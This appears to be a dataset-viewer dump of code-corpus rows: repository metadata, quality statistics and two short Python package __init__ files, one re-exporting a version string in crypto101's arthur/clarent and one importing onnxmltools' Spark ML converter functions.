| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
bb5101f2759188fa70de8ab4d0b505fe1af9c82e
| 56
|
py
|
Python
|
arthur/__init__.py
|
crypto101/arthur
|
a6316c7f2c420f64771b61caa7e718abe4c843c9
|
[
"ISC"
] | 2
|
2015-12-03T07:39:38.000Z
|
2016-12-03T01:36:55.000Z
|
clarent/__init__.py
|
crypto101/clarent
|
2b441d7933e85ee948cfb78506b7ca0a32e9588d
|
[
"0BSD"
] | null | null | null |
clarent/__init__.py
|
crypto101/clarent
|
2b441d7933e85ee948cfb78506b7ca0a32e9588d
|
[
"0BSD"
] | 2
|
2017-04-25T09:44:55.000Z
|
2018-10-03T13:33:16.000Z
|
from ._version import __version__
version = __version__
| 18.666667
| 33
| 0.839286
| 6
| 56
| 6.333333
| 0.5
| 0.736842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 56
| 2
| 34
| 28
| 0.77551
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
248c7c9549efbebe40e5c0f34950032717393f76
| 270
|
py
|
Python
|
onnxmltools/convert/sparkml/__init__.py
|
xhochy/onnxmltools
|
cb2782b155ff67dc1e586f36a27c5d032070c801
|
[
"Apache-2.0"
] | 623
|
2018-02-16T20:43:01.000Z
|
2022-03-31T05:00:17.000Z
|
onnxmltools/convert/sparkml/__init__.py
|
xhochy/onnxmltools
|
cb2782b155ff67dc1e586f36a27c5d032070c801
|
[
"Apache-2.0"
] | 339
|
2018-02-26T21:27:04.000Z
|
2022-03-31T03:16:50.000Z
|
onnxmltools/convert/sparkml/__init__.py
|
xhochy/onnxmltools
|
cb2782b155ff67dc1e586f36a27c5d032070c801
|
[
"Apache-2.0"
] | 152
|
2018-02-24T01:20:22.000Z
|
2022-03-31T07:41:35.000Z
|
# SPDX-License-Identifier: Apache-2.0
from .convert import convert
from .utils import buildInitialTypesSimple, getTensorTypeFromSpark, buildInputDictSimple
from .ops_names import get_sparkml_operator_name
from .ops_input_output import get_input_names, get_output_names
| 38.571429
| 88
| 0.866667
| 35
| 270
| 6.4
| 0.6
| 0.0625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008097
| 0.085185
| 270
| 6
| 89
| 45
| 0.898785
| 0.12963
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.